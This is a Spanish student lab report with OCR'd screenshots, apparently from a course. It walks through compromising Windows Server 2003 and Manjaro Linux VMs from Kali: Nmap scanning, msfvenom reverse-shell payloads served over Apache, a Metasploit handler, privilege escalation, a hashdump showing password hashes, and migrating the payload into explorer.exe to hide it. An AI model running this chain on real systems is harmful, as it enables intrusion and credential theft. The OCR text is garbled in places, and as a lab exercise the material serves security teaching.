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1. INTRODUCCION

La presente practica tiene como finalidad poner en evidencia la importancia de la seguridad en
los sistemas operativos y servicios de red, a través de la explotacién controlada de
vulnerabilidades en entornos de laboratorio. Para ello se utilizé Kali Linux como sistema
atacante y Windows Server 2003 como sistema victima, dado que este Gltimo cuenta con

vulnerabilidades conocidas que permiten el proceso de intrusién y técnicas de explotacion.

En esta segunda practica se utilizd6 Manjaro Linux como sistema victima y Kali Linux
como sistema atacante, con el fin de analizar las diferencias entre la explotacion de un sistema
operativo moderno y actualizado frente a uno obsoleto y vulnerable como Windows Server 2003.
Ambos escenarios se desarrollaron de forma similar. Este ejercicio permitié comprender de

forma préactica como un atacante podria comprometer un sistema desactualizado.
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2. OBJETIVOS

2.1 Objetivo general

Realizar la explotacion de vulnerabilidades en sistemas Windows Server 2003 y Manjaro

Linux mediante Kali Linux

2.2 Objetivos especificos

o Identificar servicios y sistemas en red a través de escaneo con Nmap.

e Crear un archivo malicioso que permita el acceso remoto a la maquina victima.

e Encender servidor web para distribuir el archivo.

e Configurar un listener en Metasploit para establecer la conexion con el payload
gjecutado.

e Ejecutar acciones de post-explotacion, como escalamiento de privilegios, volcado

de credenciales y migracion de procesos.
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El alcance se limito a la explotacion de Windows Server 2003 y Manjaro Linux utilizando Kali

3. ALCANCE

Linux como atacante. En ambos casos se logro establecer una sesion Meterpreter y ejecutar

acciones de post-explotacion para demostrar la viabilidad de la intrusion.
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4. CAPITULO 1-EXPLOTACION DE WINDOWS SERVER 2003
4.1 Escaneo de red con el comando “Nmap”

Con el comando Nmap y la direccion ip de Windows Server 2003 identificamos los

puertos abiertos.

e

Archivo Maquina Ver Entrada Dispositivos Ayuda
| . | - |
B EEaPo-|1 2 3 4|7

&3 indu@kali: ~
CPU usage: 0.0%

File Actions Edit View Help

—> nmap -sV 192.168.10.8

Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-02 17:@9 EDT

Nmap scan report for 192.168.10.8

Host is up (0.0015s latency).

Not shown: 996 closed tcp ports (reset)

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
1026/tcp open msrpc Microsoft Windows RPC

MAC Address: 08:00:27:E9:96:A1 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:

windows_server_2003

Service detection performed. Please report any incorrect results at https:/
/nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.54 seconds

[~

[E1 7 S, 43 £ CTRL DERECHA

lustracion 1. 4.1 Escaneo de red con Nmap

Nota: -sV es para detectar versiones de servicios.

4.2 Creacion de carpeta en Kali Linux

Ingresamos al modo superusuario con el comando sudo su y ponemos la contrasefia de
Kali, creamos una carpeta con el comando mkdir y luego entramos a la carpeta con el comando
cd.
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Archivo Maquina Ver Entrada Dispositivos Ayuda

B ERhRO| 2

root@kali: fhomefindu/CLASE
File Actions Edit View Help

sudo su
[sudo] password for indu:
/home/indu
CLASE
such file or directory: CLASE
/home/indu
CLASE
such file or directory: CLASE

/home/indu
" CLASE

/home/indu

llustracion 2. 4.2 Creacion de carpeta en Kali

4.3 Creacion del payload malicioso

Creamos el ejecutable con msfvenom, -p es el payload a usar, en el LHOST se pone la
IP atacante, en LPORT el puerto de escucha y, por altimo -f exe que es el formato ejecutable

Windows. Luego ejecutamos el comando Is o Is -la para ver el archivo.

o _tcp LHOS5T=192.168.1@.4 LPORT=46
ng Msf::Module::Platform::Windows from

arch selected, selecting arch: x86 from the payload

ified, outputting raw payload

54

3802 bytes

/home/indu/CLASE

llustracion 3. 4.3  Creacion del payload malicioso

4.4 Encender servidor web de Apache

Encendemos el Apache con el comando service apache2 start y revisamos el estatus con

el comando service apache2 status.
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/home/indu/CLASE

2 root root
18 indu indu
1 root root

/home/indu/CLASE
apache2 start

/home/indu/CLASE
status
- The Apache HTTP ¢

iy

4 43 [ CTRL DERECHA

llustracién 4. 4.4 Encender servidor web de Apache

i

Archive Maquina Ver Entrada Dispositives Ayuda
B emPO| 2 3 4|F

=] reot@kali: fhomefindu/CLASE
File Actions Edit View Help

Process: 8@474
Main PID: 80490
Tasks: 6

Memo
CPU
CGroup:

1 3 11 systemd[1]:
1-21/21 (END)J

W

llustracion 5. Servidor de Apache encendido

Vamos al navegador explorer de Windows Server 2003 y ponemos la direccién IP de Kali
Linux para ver la pagina de Apache.
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3 ApacheZ Debian Default Page: It works - Microsoft Internet Explorer

~loj x|

Archivo  Edicion  Wer Faworitos  Herramientas  Ayuda | :;'

0 Atrds - )+ Iﬂ &1 ;‘_ | ,'-:'BL'lsqueda "= Favaritas & | L= Ef

Direccidn [(&] hitp://192. 168, 10,4/ B> b |V|'ncu|05 e

-

@ Apache2 Debian Default Pac

debian

This is the default welcome page used to test the correct operation of the .
installation on Debian systems, If yvou can read this page, it means that the
at this site is working properly. You should replace this file (located at /v
before continuing to operate yvour HTTP server,

If vou are a normal user of this web site and don't know what this page is
that the site is currently unavailable due to maintenance, If the problem pel
site's administrator.

=
« | »

[i&] Lista
t‘lniciol J a8 B J B simbalo del sistema “@ Apache2 Delﬁn Defa... J |® 16138

l_’_ ’_’_|_|Q Inkernek

ApacheZ Debian Default Page: It works - Microsoft Internet Explorer

llustracion 6. Pagina de Apache

4.5 Buscar archivo index.html

En Kali Linux vamos a la carpeta de Home y una vez abierta la pestafia damos clic donde

dice File System y luego en la carpeta var.

O]
File
-

File System - Thunar
Edit View Go Bookmarks Help
# 0

I indu

=

A
-]

Desktop

ecent

' Trash
= Documents
-

Music N
Pict initrd.img
ictures

Videos
Downloads X -

Devices initrd.img.old swapfile vmlinuz
_ﬂ File System

Network -

] Browse Network 21folders | 5files: 1.3 GiB (1,354,489,560 bytes) | Free space: 5...

llustracion 7. Archivos del sistema Kali
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Vamos a la carpeta www.

var - Thunar

File Edit View Go Bookmarks Help

4= 1+ A B var
- indu U-:ILKUP‘:- cacne
Desktop
ecent
' Trash
= Documents
Music
Pictures
Videos
Downloads
Devices
_ﬂ File System
Network
D Browse Network “www" | Folder

spool

lustracion 8. Archivos de la carpeta var

Vamos a la carpeta html.

www - Thunar
File Edit View Go Bookmarks Help
L ] 1+ A B var www
I indu
- | Desktop
Recent
' Trash
Documents
Music
Pictures
Videos
Downloads
Devices
_E File System

Network
D Browse Network 1folder | Free space: 59.3 GiB

llustracion 9. Archivos de la carpeta www
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Visualizamos el archivo index.html.

html - Thunar

File Edit View Go Bookmarks Help

+ A 0]

index.html index.nginx-
debian.html
Documents

Music
Pictures
Videos
! Downloads
Devices
_ﬂ File System
Network
D Browse Network "index.html" | 10.5 KiB (10,703 bytes) | XHTML page

lHustracion 10. Archivos de la carpeta html

4.6 Copiar el archivo index.html al directorio web de Apache

Primero vamos a cambiar el nombre al archivo index.html, para eso ejecutamos el
comando cd /var/www/html para entrar al directorio de html donde esta el archivo index,
miramos la lista de los archivos y por dltimo ejecutamos el comando chmod 777

Ivar/www/html para darle permiso de cambiar el nombre del index.

/home/indu/CLASE
/var/www/html

/var/www/html

index.html index.nginx-debian.html

/var/vam /html
777 /var/vwww/html

llustracion 11. Ingreso a carpeta html y activar permisos

Vamos donde esté el archivo html y renombramos el archivo.
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File Edit View Go Bookmarks Help

>4+ 4 0O

I indu
- Desktop .

(™) Recent
index.nginx- index2.html
Trash i g
' % debian.html
@ Documents

2 Music
Bl Pictures
= Videos
& Downloads
Devices
_ﬂ File System
Network
D Browse Network index2.html" | 10.5KiB (10,703 bytes) | XHTML page

llustracién 12. Cambio de nombre del index.html

Ahora volvemos al directorio donde tenemos el archivo .exe con el comando cd
/home/indu/CLASE, listamos para ver el archivo y copiamos el archivo malicioso con el
comando cp satena.exe /var/www/html.

/var/wwm /html
/home/indu/CLASE
/home/indu/CLASE
satena.exe

/home/indu/CLASE
) satena.exe /var/www/html

lustracién 13. Copiando archivo malicioso

Volvemos al directorio donde estan los archivos html y verificamos que esté el archivo

.exe.

/home/indu/CLASE
/var/vwwm/html

/var/www/html

index2.html index.nginx-debian.html satena.exe

llustracion 14. Archivo satena.exe copiado en la carpeta de html
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Por ultimo, actualizamos la pagina de Apache en Windows Server 2003 para ver los

archivos que estan en el servidor.

2} Index of / - Microsoft Internet Explorer

=101 x|

Archiva

Ediciémn  Wer Faworitos  Herramientas  Awuda

| -.',"

Afrés - « %] 2] o] - Bisqueda ¢ Faworites £ A~ g
) ( 2, [ =i

Direccidn [&] http:/152.168.10.4/

j Ir |\-'incu|os >

Ind f/
ndex o .

Name Last modified Size Description

mdex nome-debian html 2025-04-23 04:14 615
mndex2 html 2025-04-23 04:18 10K
satena. exe 2025-09-02 1742 72K

Apachef2.4.63 (Debian) Server af 192,168,104 Fart 80

=

llustracion 15. Archivos de servidor web de Apache

4.7 Guardar el archivo .exe del servidor web de Apache

Damos clic en archivo satena.exe y luego en agregar,

Internet Explorer

archivi
= E #ta intentando descargar un archivo desde un sitio que ho ests
@ Atras ° eh la zona Sitiog de confianza v que puede ser digtinto del zitio
o Web gue ezt viendo.
Direccion E

http: //192.168.10.4

g

nd

Aprender mas zobre la configuracidn de sequridad mejorada de [nkernet Esplarer...

- (0] x|
1| s
L
]
ulos >
=l

Siconfia en este sitio Web, puede bajar el nivel de seguridad para el sitio
agregandaln a la zona Sitios de confianza. Sizabe que este sitin Web asté
eh su Intranet local, vea la apuda para obtener instrucciones sobre como
agregar el zitio a la zona Int

Internet Explarer.

llustracién 16. Guardar el archivo .exe

Agregar... |

Impartante: & agrega este sitio web a la 2oha de Sitios de confianza, el nivel de configuracidn de
regunidad serd mas bajo para todos los contenidos v programas de este sitio web, inclupendo
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En agregar nuevamente.

Internet Explorer

archivo
@ Abras

Direccidn Ig Puede agregar o quitar sitios Web de esta zona., Todos los sitios
— ‘Web de esta zona utilizaran la configuracidn de seguridad de la zona.

Ind Aaregar este siktio 'Web a la zona:
| httpefi192.168.10.4

Sitios Web:

htkp: i* windowsupdate, microsoft.com

- d https: if* windowsupdate. microsoft, com
il | http:fgo.microsoft, com

htto: i fmsdn . microsoft, com LI
sate

[~ Requerir comprobacién del servidar (https:) para todos los sitios de esta zona

Cerrar |

Apacke

Sitios de confianza 2]

x|

LCerrar |

I hktpe S * update microsaft.com - Quitar | S
inds https: §j* update. microsoft.com

Agreqgar... |

figuracian de
cluyenda

A= L= g

& P Internet

Internet Explorer

i

]!fInil:io J a @ J B Simbolo del sistema | @Index of | - Micra, .. ||Q1nternet Explorer J |® 16:45

llustracién 17. Guardar el archivo .exe

Internet Explorer
sitios de confianza i |
@ Atras

Direccian Ig o Puede agregar o quitar sitios Web de esta zona. Todos los sitios

Archivo

‘Wweb de esta zona utiizaran la configuracidn de sequridad de la zona.

Illd Agregar este sitio Web a la zona:

I Adregar |

Sitios Web:

L -
m—df https:/* . update. microsoft, com

d httpe f* windowsupdate, microsoft, com
e https: f* windowsupdate, micrasaft, com

; ko ffaa, microsoft, com ;I

[~ Requerir comprobacisn del servidor {https:) para bodos los sitios de esta zona

Cerrar |

Apachs,

http: /*.update. microsoft.cam - it | I
hitp:/i192.168,10,4

X

Cerrar |

Agregar... |

figuraciaon de

TIETT =T C AT,

chuyenda

[& T T T | | | Intermet

EﬁIniciol J 8 & J (B Simbolo del sistema | ] Indes: of { - Micra, . ”ﬁlnternet Explorer J |® 16:45

llustracién 18. Guardar el archivo .exe
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Luego damos clic derecho en el archivo y en guardar destino como.

3 Index of / - Microsoft Internet Explorer

Archivo  Edicidn  Wer  Favoritos  Herramientas  Ayuda

Qatrss ~ 6 - X [ | ) Bisqueda -7 Favaritos 41 | (A b B

Indq

Direccidn I? Litm ttimm avm im at

Abrir

j Ir |'v'|'nculos =

Abrir en una venkana nueva
Guardar destino como. ..
Imprimir destino

5] inde

Zarkat . . ..
G jodified Size Description

Copiar acceso direcko
FPegat.

2304:14 £15

Agregar a Favoritos. .. 23 04:18 10E

itz 02 1742 72K

ﬁ[niciol J a8 &3 J B Simbolo del sistema “@ Index of / - Microsoft ...
%

- |

llustracién 19. Guardar el archivo .exe

Y por altimo, lo guardamos en el escritorio.

Ind

2] inde
2] inde

Apache

@ Asistente para configuracidn de seguridad

3 Index of / - Microsoft Internet Explorer _ ||:||1|
archivo | 21|
() Atras - Guardar en: I (&} Escritario j a2 M-
LWHE Mis docurentos
4 MipC
‘&Mis sitios de red

Mombre: :5:.' lena, exe

j Guardar I

Tipa: IApIicacién

j Cancelar |

F
\Descarga de archivos _

ﬁlniciol J é @

J B Simbala del sistema | @ Index of | - Micra, .. "é Descarqg de arc... J E |® 16:45

llustracién 20. Guardar el archivo .exe
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ndex of / - Microsoft Internet Explorer - |EI|£|

Archive  Edicidn Yer  Faworibos  Herramientas  Avuda | ﬂF
Q) atrés = 03 ~ (%] [ '.1)15 | ) Bisqueda <7 Favoritos 421 | L:_';“J' = B

Direccidn I@ hbbpsff pom e =1 | Yinculos >

il —
Index ¢

Guardada:

satena.exe de 192, 168.10.4
AEEEENENNEEEENEENENNENENENEEENNNNNNEEEEEEEEEER
Descargado: 72,0kBen 1 seq.

Descarga completa

N

G - .
index ngimx
indes hter Descargar a C:\Documents and Setting. .. \satena.exe

— Tasa de kransferencia: 72,0 KBfSeg
satena exe ; e : ;
== [ Lemna el didlogo al terminar la descarga:

Apac}zeﬁ. 463 Ejecutar Abrir carpeta | Cerrar I

[ [ [ [ | |@ siios de confianza
MI J €] J (B Simbolo del sistema | & Index of | - Micro... “ﬁDescarga e J |® Jonee
I

llustracién 21. Guardar el archivo .exe

wl ici | J ﬁ @ J B3 Simbolo del sistema | @Index of | - Microsaft Int...l " J E @ 16:46

llustracion 22. Archivo .exe guardado en el escritorio de Windows Server 2003
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4.8 Configuracion en Metasploit
En una nueva terminal de Kali Linux ejecutamos el comando msfconsole para abrir el

metasploit.

-] indu@kali: ~

File Actions Edit View Help

% msfconsole

Metasploit tip: View all productivity tips with the tips command

llustracion 23. Abrir metasploit

Buscamos el exploit con el comand search multi handler.

= indu@kali: ~

File Actions Edit View Help

ploit Documentation: https docs.metasploit.com/

lustracion 24. Buscar exploit
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Y seleccionamos el numero 7 con el comando use. Luego configuramos el payload y

verificamos con el comando options que se haya hecho el cambio del payload.

indu(@kali: ~

Actions Edit View Help

> use 7

Name
EXITFUNC
LHOST

LPORT

lustracion 25. Seleccionando el exploit y configurando el payload

Ahora agregamos el LHOST que es la direccion IP del atacante y el LPORT y
verificamos con el comando options.

indu(@kali: ~

File Actions Edit View Help

d command.
168.10.4
4LBT78
LPORT LETE

msf6 exploit(

load options (windows/meterpre e_tcp):

Name Current Setting equire Description

EXITFUNC process
LHOST 152.168.

LPORT 4678 The listen port

llustracion 26. Configurando LHOST y LPORT
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4.9 Hacer el exploit

Luego de verificar las configuraciones en el exploit ejecutamos en comando exploit y
vamos a Windows Server 2003 y ejecutamos el archivo .exe haciendo clic derecho sobre él y
luego ejecutar.

command .

llustracion 27. Ejecutar comando exploit

x

% £0Qué cuenta de usuario desea usar para ejecutar eske programa?

% Usuario ackual (WINDOAWS-TSPA0P4 Administrador

v Ejecutar eske programa con accesa pestringida,

Esta opridn sirve para evitar que los programas ukilicen privilegios de
administrador que puedan dariar su equipo. Si selecciona esta opeion v
el programa utiliza estos privilegios, es posible que no Funcione
correctamente,

" El siguiente usuario:

Lisuaria; Iﬁ Administrador j J

Contrasefia; I

Acepkar I Zancelar |

r
E‘!;'Inicinl J é @ J B Simbolo del sistema | @Index of | - Microsaft Ink. .. J E @ 16:52

llustracion 28. Ejecutar archivo satena.exe

Nota: Si no se abre el archivo .exe cuando se ejecuta el comando exploit no podremos
iniciar el meterpreter.
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4.10 Post-Explotacion en meterpreter

Luego de conseguir el acceso, en meterpreter ejecutamos Sysinfo y Getuid para ver la

informacion del sistema. Después el comando Getsystem para escalar privilegios y, por ultimo,

el comando hashdump para ver los usuarios y contrasefias cifradas.

Archiva  Maquina Ver Entrada Dispositivos  Ayuda
S Rk o] |1 2
indu@kali: ~

File Actions Edit View Help

sion 1 opened (192.168.10.4:4678 — 102.168.10.8:1034) a

06 -0400

> sysinfo
: WINDDWS-T5P2
: (5.2 Build 3798, Service Pack 1).

mES

. GRUPO_TRABAJO

shdump

or:500:aad3b435b51404e d3b435b51404ee:31d6cTe@d16ae931b73c59d7

31d6cfe@d16ae931b73c59d7eBcBE

9ch:
SUPPOR
4bdf
met

B Ok &0 ST S 3 0 CTRLDERECHA

lustracion 29. Post-Explotacion

411 Migracion de procesos

En Windows Server 2003 vamos al administrador de tareas y buscamos el archivo

satena.exe que es el que vamos a migrar a explorer.exe.

/admin)).
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Bl administrador de tareas de Windows o ] [

archive Opciones  Wer Avuda

Aplicaciones ~ Procesos | Rendimiznto | Funciones de red | Usuarios |

Mombre de imagen I Mombre de usuario I CPL I Uso de m... I -
crnd. exe Administrador oa 68 KB
explorer, exe adrinistradar oo 14,165 KB
sychost, exe SYSTEM oo 3020 KB
svchost exe SERNICIC LOCAL oo 1.216 KB
svchost, exe SYSTEM uli] 1.836 KB
msdte.exe Servicio de red oa 3.608 KB
spoalsy.exe SYSTEM on 4.032 KB
Wipryse, exe SYSTEM uli} 4,756 KB
wuauclk, exe Administrador Juli] 4,736 KB
svchost, exe SYSTEM oo 15.508 KB
sychost, exe SERVICIO LOCAL oo 5.040 KB
svchost.exe Servicio de red oa 3.864 KB
svchost, exe Servicio de re ag 2928 KB
svrchost,exe SYSTEM oo 2,328 kB

lsass, exe SYSTEM uli] 6,400 KB
services.exe SYSTEM uli] 5.440 KB
winlogan, exe SYSTEM on 3.192 KB
CEPSS.Ene SYSTEM oo 1.672 KB LI

™ Mostrar procesos de todos los usuarios Terminar proceso |
|Pr0cesos: 25 |L|so de CPU: 1% |Carga de transacciones: gqlndex of | - Microsoft Internet Explorer

fﬁ'lniciul J -] @ J B Simbala del sistemal @Index of [ - Micr... ”Qndministradnr J E|. @ 16:57

llustracion 30. Administrador de tareas de Windows Server 2003

Luego en la consola de Kali ejecutamos el comando ps para listar los procesos.

PPID

4]

NT AUTHORI
STEM
NT AUTHORI
STEM
NT AUTHORI
STEM

\Administ

NT AUTHORI
rvi

lustracién 31. Lista de procesos

pag. 25



Y ahora migramos el archivo con el comando migrate y seguido del PPID del archivo de

satena.exe y luego el de explorer.exe.

NT AUTHORIT

R I0 LOCAL
NT AUTHORITY®
STEM

% 'S &3 £3 CTRL DERECHA

lustracién 32. Migracion exitosa del archivo satena a explorer

Y podemos ver que el archivo satena.exe ya no se ve y que el archivo explorer.exe peso

mas que antes porque ahora el archivo de satena esta oculto dentro del archivo explorer.

El Administrador de tareas de Windows 10 x|

" Archivo Opciones  Ver Awyuda

Aplicaciones  Procesos |Rendimiento I Funciones de red I |lsuarios I

Mombre de imagen | Mombre de usuatio | CPU | Uso de m... | -~
crd.exe Adrninistrador aa 63 KB
explorer, exe Adrninistradar JGR= A
SVCNOSE. EXE STSTEM TG0 KB
svchost, exe SERMICIO LOCAL 1.216 KB
sychost, exe SYSTEM 1.536 KB
msdte.exe Servicio de red 3.605 KB
spoolsy.exe SYSTEM 4,032 KB
WInipryse exe SYSTEM 4,756 KB
wuauclk, exe Administrador 4,736 KB
svchost, exe SYSTEM 15,805 KB
svchost, exe SERVICIO LOCAL 3,040 KB
svchost. exe Servicio de red 3.848 KB
svchost, exe Servicio de red 2,916 KB
svchost, exe SYSTEM 2,328 KB
|sass, axe SYSTEM £.400 KB
Services exe SYSTEM 5.440 KB
winlogon, exe SYSTEM 3.192 KB
C5P55, ExE SYSTEM 1.664 KB
SMss, Exe SVSTEM 42668 w|

[™ Mostrar procesos de todos los usuarios Tietminar procesa |

lustracién 33. Archivo satena oculto dentro de explorer
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5. CAPITULO 2 - EXPLOTACION DE MANJARO

5.1 Configurar la red de Manjaro

General Red

Sistema Adaptador 1

Pantalla
Conectado a:  Red NAT
Almacenamiento
Nombre:  Semnestre9-2025-1

Audio

Red Modo promiscue:  Permitir tode

Puertos serie
v Cable conectado
UsB

Carpetas compartidas

Interfaz de usuario 5
Puertos serie

Peemrtn

Aceptar Cancelar

llustracion 34. Configurar la red de Manjaro

5.2 Escaneo de red con Nmap

Ayuda

Para identificar los servicios disponibles en la maquina Manjaro, se realiz6 un escaneo de

red desde Kali Linux utilizando el comando nmap -sV seguido de la IP de Manjaro.

Q manjaro@manjaro-gnome:~

) o 2
1: <LOOPBACK, UP, LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group defaul
1000
yopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

inet 192.1 24 brd 192.168.10.255 scop lobal dynamic noprefixroute e
npés3
valid_Lft 571sec pr
inet6é fdea: B E d 0 global dynamic noprefixroute
valid_1ft 86253sec rred_ 4253
ineté f HHr. Fll '64 s link noprefixroute
valid_ orever eferre ft forever

[ ~-

llustracion 35. Direccién de Manjaro
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Archive Maquina Ver Entrada Dispositives Ayuda

LR BN Jas

T indu(@ kali: ~

File Actions Edit View Help

nmap -sV

.0BB34s late
d perts on
Not sho filt d tcp ports (proto-ur
MAC Addre
NIC)

Host is up f

All 1080 rts on 192.168.10.9
Not sho L tcp ports

MAC

Host is up

Not shown:

PORT STATE SERV

80 p open http
rice Info: Host:

lustracion 36. Escaneo de red con Nmap

5.3 Creacion de carpeta en Kali Linux

[E1 % 5 &3 F3 CTRL DERECHA

Ingresamos al modo superusuario con el comando sudo su y ponemos la contrasefia de

Kali, creamos una carpeta con el comando mkdir y luego entramos a la carpeta con el comando

cd.

Archivo Maéquina Ver Entrada Dispositivos Ayuda
| |
ST X adRE
8 root@kali: /home/indu/MANJARO

File Actions Edit View Help

sudo su

/home/indu

/home/indu
MANJARO

llustracion 37. Creacion de carpeta en Kali Linux
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5.4 Creacion del payload malicioso

En Kali Linux se creara el archivo ejecutable utilizando msfvenom, de la misma manera
que en el escenario con Windows. El payload empleado fue linux/x86/meterpreter/reverse_tcp,
configurando la IP atacante (LHOST) y el puerto de escucha (LPORT). El archivo resultante se

guardo con el nombre satena.elf

/home/indu/MANJARO

- {

[-] No platform was selected, choosing Msf::Module::Platform:: Linux from th
e payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder specified, outputting raw payload

Payload size: 123 bytes

Final size of elf file: 207 bytes

llustracion 38. Creacion del payload malicioso

Luego ejecutamos el comando Is o Is -la para ver el archivo.

/home/indu/MANJARO

satena.elf

/home/indu/MANJARO

1 13

total 12

drwxr-xr-x 2 root root 4096 Sep 145

drwx 19 indu indu 4096 Sep H A

-rw-r—r— 1 root root 207 Sep 20:45 satena.elf

llustracién 39. Listar archivos

5.5 Configuracion del servidor Apache en Kali Linux

Se activo el servicio de Apache con el comando service apache2 start. Luego se verifico

su estado con service apache?2 status.
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/home/indu/MANJARO

/home/indu/MANJARO

@ apache2.service - The Apache HTTP Server
Loaded: loaded (/usr/lib/systemd/system/apache2.service; disabled; pr>
Active: active (running) since Tue 2025-09-02 17:35:07 EDT; 3h 1lmin >
Invocation: fek4eff63e95e4f5c91fdle85af@31f91
Docs: https://httpd.apache.org/docs/2.4/
Process: 80474 ExecStart=/usr/sbin/apachectl start (code=exited, statu>
Main PID: 80490 (apache2)

b S 0 BT S 63 £ CTRL DERECHA

lustracion 40. Configuracion del servidor Apache

5.6 Buscar archivo index.html

En Kali Linux vamos a la carpeta de Home y una vez abierta la pestafia damos clic donde

dice File System, luego en la carpeta var, después en www y finalmente la de html.

Ver Entrada Dispositivos

S mE PO

C] File System - Thunar

Archive  Maquina

File Edit View Go Bookmarks Help
+ A a

Places

E& Computer

| indu
= | Desktop

(
' Trash
Documents
Music sr initrd.img

Pictures
Videos
. X -

Downloads
initrd.img.old swapfile vmlinuz
Devices
_ﬂ File System "var" | Folder

B % 'S 3 [ CTRL DERECHA

llustracién 41. Archivos del sistema Kali
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var - Thunar

File Edit Vie Go Bookmarks Help

>t A @ v

leLKUp‘_-u cacne
Places

B Computer
| indu
Desktop
) Recent
' Trash
Documents
Music
Pictures
Videos
Devices spool
_ﬂ File System "www" | Folder

S % 'S 43 B CTRL DERECHA

lustracion 42. Archivos de la carpeta var

www - Thunar
File Edit View Go Bookmarks Help
4= + A B var www
Places
E= Computer
| indu
Desktop

) Recent

¥ Trash

Documents

Music
Pictures
Videos
Downloads
Devices
[ File System Folder | Fre e:59.3GiB

= S & 0 ST 9, 68 [ CTRL DERECHA

lustracion 43. Archivos de la carpeta www
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Archive Maquina Ver Entrada Dispositivos Ayuda
N ERaPor]-| 2 3
html - Thunar
File Edit View Go Bookmarks Help
+ + A B var html P Q

Places
B¢ Computer . .

| indu
.~ Desktop

index.nginx- index2.html satena.elf

debian.html
Recent

' Trash
=] Documents

Music satena.exe
Pictures
Videos
Downloads
Devices
_ﬂ File System 4 files: 155.2 KiB (158,922 bytes) | Frees

B OwD WSS S 6 0 CTRLDERECHA

lustracion 44. Archivos de la carpeta html

5.7 Copiar el archivo index.html al directorio web de Apache

Posteriormente, se copid el archivo malicioso satena.elf al directorio /var/www/html/

para que pudiera ser descargado desde el navegador de la maquina Manjaro.

/home/indu/MA!lJARo

satena.elf /var/www/html

/home/indu/MANJARO
/var/wem /html

/var/vwmw/html

index2.html index.nginx-debian.html satena.elf satena.exe

/var/ww/html

B ONnE & E LTS 6 ) CTRLDERECHA

lustracion 45. Copiar el archivo index.html al directorio web de Apache

pag. 32



5.8 Descargar el archivo .elf del servidor web de Apache

Damos clic en el archivo satena.elf y este automaticamente se descarga.

=
i)

Archivo Maquina Ver Entrada Dispositivos Ayuda

- Sep 3 12:55 AM

B8  Indexof/ X+

= C O A Not Secure http://192.168.10.4

© Firefox automatically sends some da » satena.elf
7?7

Index of /

Show all downloads

Name Last modified Size Description

index.nginx-debian.html 2025-04-23 04:14 615

index2 html 2025-04-23 04:18 10K
[?] satena.elf 2025-09-02 20:53 207
satena.exe 2025-09-02 17:42 72K

Apache/2.4.63 (Debian) Server at 192.168.10.4 Port 80

llustracion 46. 5.8 Descargar el archivo .elf

La ubicacion de archivo satena.elf quedd descargas.

==
-

Archivo Méquina Ver Entrada Dispositivos Ayuda

- Sep 3 12:55 AM

Q Files H A Home Downloads

Home
Recent .

Starred satena.elf
I Network

@ Trash

Documents
Music
Pictures

B Videos

4 Downloads

B OME &M ET S &0 CTRLDERECHA

lHustracién 47. Ubicacion de archivo .elf
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5.9 Configuracion en Metasploit

En una nueva terminal de Kali se abrir Metasploit con el comando msfconsole y buscar el
exploit con el comand search multi handler.

root@kali: fvarfwww/html

Actions Edit View Help

> search multi handler

Disclosure Date
Check Description

exploit/linux/lo
ell L MNo APT
exploit/android/

1999-83-09
2017-87-31

fapache_mod_cg )
_cgi Bash Environment iable Injection

1989-06-08
No file Persis
exploit/linux/local/desktop_pri

11 es X Passw

exploit/multl/handler
manual No i
8 exploit/mult

lustracion 48. Configuracion en Metasploit

Y seleccionamos el numero 7 con el comando use. Luego configuramos el payload y
verificamos con el comando options que se haya hecho el cambio del payload.

root@kali: fvarfwerw/html

File Actions Edit View Help

lustracién 49. Seleccionando el exploit
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'E

LHOST

LPORT

llustracion 50. Configuracion del payload

Ahora agregamos el LHOST que es la direccion IP del atacante y verificamos con el

comando options.

o

root@kali: fvar/www/html

File Actions Edit View Help

View the full module info with the info, or info command.

msf6 exploit( ) > set LHOST 192.168.10.4
LHOST = 192.168.10.4

msf6 exploit( ) > set LPORT 4444

LPORT = 4444

msf6 exploit( ) > options

Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
LHOST 192.168.10.4 yes The listen address (an interface may
be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name

Wildcard Target

View the full module info with the i info command.

msf6 exploit( ) > 1

Vi & W S5 S €3 £ CTRL DERECHA

llustracion 51. Configurando LHOST
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5.10 Hacer el exploit

Luego de verificar las configuraciones en el exploit ejecutamos en comando chmod +x
satena.elf en donde esta el archivo de satena.elf para dar permisos de ejecucion ya que es un

archivo binario. Luego ejecutamos el archivo con el comando ./satena.elf.

= root@kali: /homefindu/MANJARO

File Actions Edit View Help

~

sudo su
[sudo] password for indu:
/home/indu

d M
cd: no such file or directory: M

/home/indu

/home/indu/MANJARO
+x satena.elf

/home/indu/MANJARO

lustracion 52. Permiso de ejecucion del archivo .elf

) s
TCP handl

(1017704
sion 1 o

7:10 -0400

3 192.168.10.4:50680) a

=T M ¢ EJ CTRL DERECHA

llustracion 53. Ejecutar comando exploit

5.11 Post-explotacion en Manjaro

Una vez conseguida la sesion, se ejecutaron los siguientes comandos basicos, sysinfo

para obtener la informacidn del sistema y getuid para conocer el usuario con el que se obtuvo

acceso.
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sysinfo
168.10.4
bian (Linux 6.12

mus |

llustracion 54. Post-Explotacion

Nota: En Linux no es posible migrar.
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6. CONCLUSION

La préctica permitié evidenciar que, aunque los entornos y arquitecturas de Windows Server
2003 y Manjaro Linux son diferentes, es posible comprometer ambos sistemas siguiendo un flujo

de ataque similar mediante el uso de Metasploit y payloads maliciosos.

En Windows Server 2003 la explotacion resulta méas evidente debido a su antigliedad y
vulnerabilidades conocidas, mientras que en Manjaro el éxito dependio de la ejecucion del

payload en el sistema victima.

Esto resalta la importancia de aplicar medidas de seguridad en cualquier sistema
operativo, tales como: mantener actualizaciones al dia, restringir la ejecucion de archivos no

confiables y monitorear la red para detectar actividades sospechosas.
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